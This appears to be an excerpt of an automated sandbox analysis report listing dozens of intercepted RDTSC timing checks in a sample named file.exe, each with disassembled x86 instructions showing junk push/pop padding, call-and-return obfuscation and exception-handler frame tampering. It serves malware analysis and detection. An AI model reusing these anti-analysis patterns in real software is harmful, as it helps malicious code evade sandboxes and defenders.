Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F34F second address: 122F3C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F0790D59B58h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov bx, E01Ch 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F0790D59B58h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 sub di, C65Fh 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c push edx 0x0000004d push edx 0x0000004e pop edx 0x0000004f pop edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F0790D59B67h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F3C5 second address: 122F3D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnc 00007F0790DC9730h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231393 second address: 1231398 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12304B1 second address: 12304CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0790D5812Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12304CA second address: 123055F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0790D580ACh 0x00000008 jns 00007F0790D580A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F0790D580A8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b js 00007F0790D580AEh 0x00000031 js 00007F0790D580A8h 0x00000037 mov ebx, edx 0x00000039 push dword ptr fs:[00000000h] 0x00000040 mov dword ptr [ebp+122D1AF8h], eax 0x00000046 mov dword ptr fs:[00000000h], esp 0x0000004d jbe 00007F0790D580A9h 0x00000053 mov di, dx 0x00000056 mov eax, dword ptr [ebp+122D0F81h] 0x0000005c push 00000000h 0x0000005e push esi 0x0000005f call 00007F0790D580A8h 0x00000064 pop esi 0x00000065 mov dword ptr [esp+04h], esi 0x00000069 add dword ptr [esp+04h], 0000001Ah 0x00000071 inc esi 0x00000072 push esi 0x00000073 ret 0x00000074 pop esi 0x00000075 ret 0x00000076 push FFFFFFFFh 0x00000078 mov ebx, dword ptr [ebp+122D2C47h] 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 pop eax 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123055F second address: 1230565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233450 second address: 1233454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12389D6 second address: 12389E0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0790D58126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12389E0 second address: 12389F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F0790D580A6h 0x00000009 jmp 00007F0790D580AAh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235CC5 second address: 1235CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A277 second address: 123A27D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235CC9 second address: 1235CD2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123AF13 second address: 123AF1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0790D580A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236C90 second address: 1236D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edx 0x00000009 call 00007F0790D58128h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], edx 0x00000013 add dword ptr [esp+04h], 0000001Ah 0x0000001b inc edx 0x0000001c push edx 0x0000001d ret 0x0000001e pop edx 0x0000001f ret 0x00000020 pushad 0x00000021 movzx ecx, cx 0x00000024 popad 0x00000025 push dword ptr fs:[00000000h] 0x0000002c sub dword ptr [ebp+122D3793h], eax 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov ebx, dword ptr [ebp+122D290Fh] 0x0000003f mov eax, dword ptr [ebp+122D140Dh] 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007F0790D58128h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 00000016h 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f sub dword ptr [ebp+122D28CDh], ebx 0x00000065 mov bx, di 0x00000068 push FFFFFFFFh 0x0000006a mov dword ptr [ebp+122D187Ch], esi 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jp 00007F0790D58128h 0x00000079 push eax 0x0000007a pop eax 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123AF1D second address: 123AF21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123AF21 second address: 123AF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F0790D58132h 0x00000011 jmp 00007F0790D58134h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123AF54 second address: 123AF59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BE4D second address: 123BE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BE52 second address: 123BE5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F0790D580A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BE5C second address: 123BE79 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0790D58126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jne 00007F0790D58126h 0x00000016 jne 00007F0790D58126h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BE79 second address: 123BF00 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0790D580A8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F0790D580A8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F0790D580A8h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000017h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 jmp 00007F0790D580B8h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F0790D580B9h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BF00 second address: 123BF06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123D013 second address: 123D029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123D029 second address: 123D0BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 je 00007F0790D58138h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F0790D5812Eh 0x00000016 popad 0x00000017 nop 0x00000018 sub edi, dword ptr [ebp+122D30A6h] 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov dword ptr [ebp+122D3035h], eax 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 mov dword ptr [ebp+12464DC9h], ecx 0x00000038 mov eax, dword ptr [ebp+122D142Dh] 0x0000003e sbb edi, 3A94060Ah 0x00000044 push FFFFFFFFh 0x00000046 push 00000000h 0x00000048 push eax 0x00000049 call 00007F0790D58128h 0x0000004e pop eax 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 add dword ptr [esp+04h], 00000018h 0x0000005b inc eax 0x0000005c push eax 0x0000005d ret 0x0000005e pop eax 0x0000005f ret 0x00000060 jng 00007F0790D5812Ch 0x00000066 add edi, 6BC83A53h 0x0000006c nop 0x0000006d jmp 00007F0790D58130h 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 push ecx 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123D0BB second address: 123D0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E043 second address: 123E048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E048 second address: 123E0F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F0790D580A6h 0x00000009 jmp 00007F0790D580B9h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F0790D580A8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e xor di, E627h 0x00000033 push dword ptr fs:[00000000h] 0x0000003a xor dword ptr [ebp+122D28B7h], edi 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a call 00007F0790D580A8h 0x0000004f pop eax 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc eax 0x0000005d push eax 0x0000005e ret 0x0000005f pop eax 0x00000060 ret 0x00000061 sub dword ptr [ebp+122D2E1Ch], eax 0x00000067 mov eax, dword ptr [ebp+122D03D5h] 0x0000006d or dword ptr [ebp+122D2E16h], ecx 0x00000073 push FFFFFFFFh 0x00000075 jmp 00007F0790D580B4h 0x0000007a nop 0x0000007b pushad 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241B73 second address: 1241B7F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0790D58126h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12444E3 second address: 12444E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12444E7 second address: 12444EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12444EB second address: 12444F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12444F4 second address: 12444FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCF8B second address: 11DCF9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F0790D580A6h 0x0000000a jp 00007F0790D580A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247258 second address: 1247262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0790D58126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247262 second address: 1247266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247266 second address: 124726E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124726E second address: 1247273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247273 second address: 12472AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0790D58126h 0x0000000a jo 00007F0790D58126h 0x00000010 jmp 00007F0790D5812Fh 0x00000015 popad 0x00000016 push eax 0x00000017 jno 00007F0790D58126h 0x0000001d pop eax 0x0000001e pop edx 0x0000001f pop eax 0x00000020 pushad 0x00000021 push edi 0x00000022 pushad 0x00000023 popad 0x00000024 pop edi 0x00000025 jo 00007F0790D58128h 0x0000002b pushad 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12472AD second address: 12472B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12473F0 second address: 12473F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12473F6 second address: 1247407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0790D580A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247407 second address: 124740B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3AD5 second address: 11E3AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0790D580ADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jno 00007F0790D580A6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3AF2 second address: 11E3AF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3AF8 second address: 11E3B08 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F0790D580A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B08 second address: 11E3B3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D58134h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0790D58130h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B3A second address: 11E3B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B3E second address: 11E3B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B44 second address: 11E3B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B4A second address: 11E3B59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0790D5812Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B59 second address: 11E3B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B5F second address: 11E3B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F0790D58126h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C221 second address: 124C225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C225 second address: 124C229 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C229 second address: 124C235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0790D580A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F5E9 second address: 124F5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F5ED second address: 124F5F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254011 second address: 1254048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F0790D58130h 0x0000000b jmp 00007F0790D58132h 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007F0790D5812Ch 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254048 second address: 1254050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254050 second address: 1254064 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F0790D58128h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254064 second address: 125406E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254801 second address: 1254807 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254807 second address: 1254824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0790D580AEh 0x0000000c jns 00007F0790D580A6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254824 second address: 1254828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254828 second address: 1254832 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0790D580A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254E3B second address: 1254E40 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255220 second address: 1255225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A8C9 second address: 125A8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 je 00007F0790D58126h 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F0790D58126h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A8E1 second address: 125A8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE981 second address: 11DE998 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D58131h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12596EF second address: 12596F5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125998F second address: 125999E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F0790D5812Eh 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125999E second address: 12599C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F0790D580B8h 0x0000000b jnl 00007F0790D580A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259C86 second address: 1259CA6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 jmp 00007F0790D5812Bh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jne 00007F0790D58134h 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259CA6 second address: 1259CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259DF3 second address: 1259DF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259DF7 second address: 1259DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259DFD second address: 1259E1D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0790D5812Ah 0x00000008 push esi 0x00000009 jmp 00007F0790D5812Bh 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259E1D second address: 1259E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
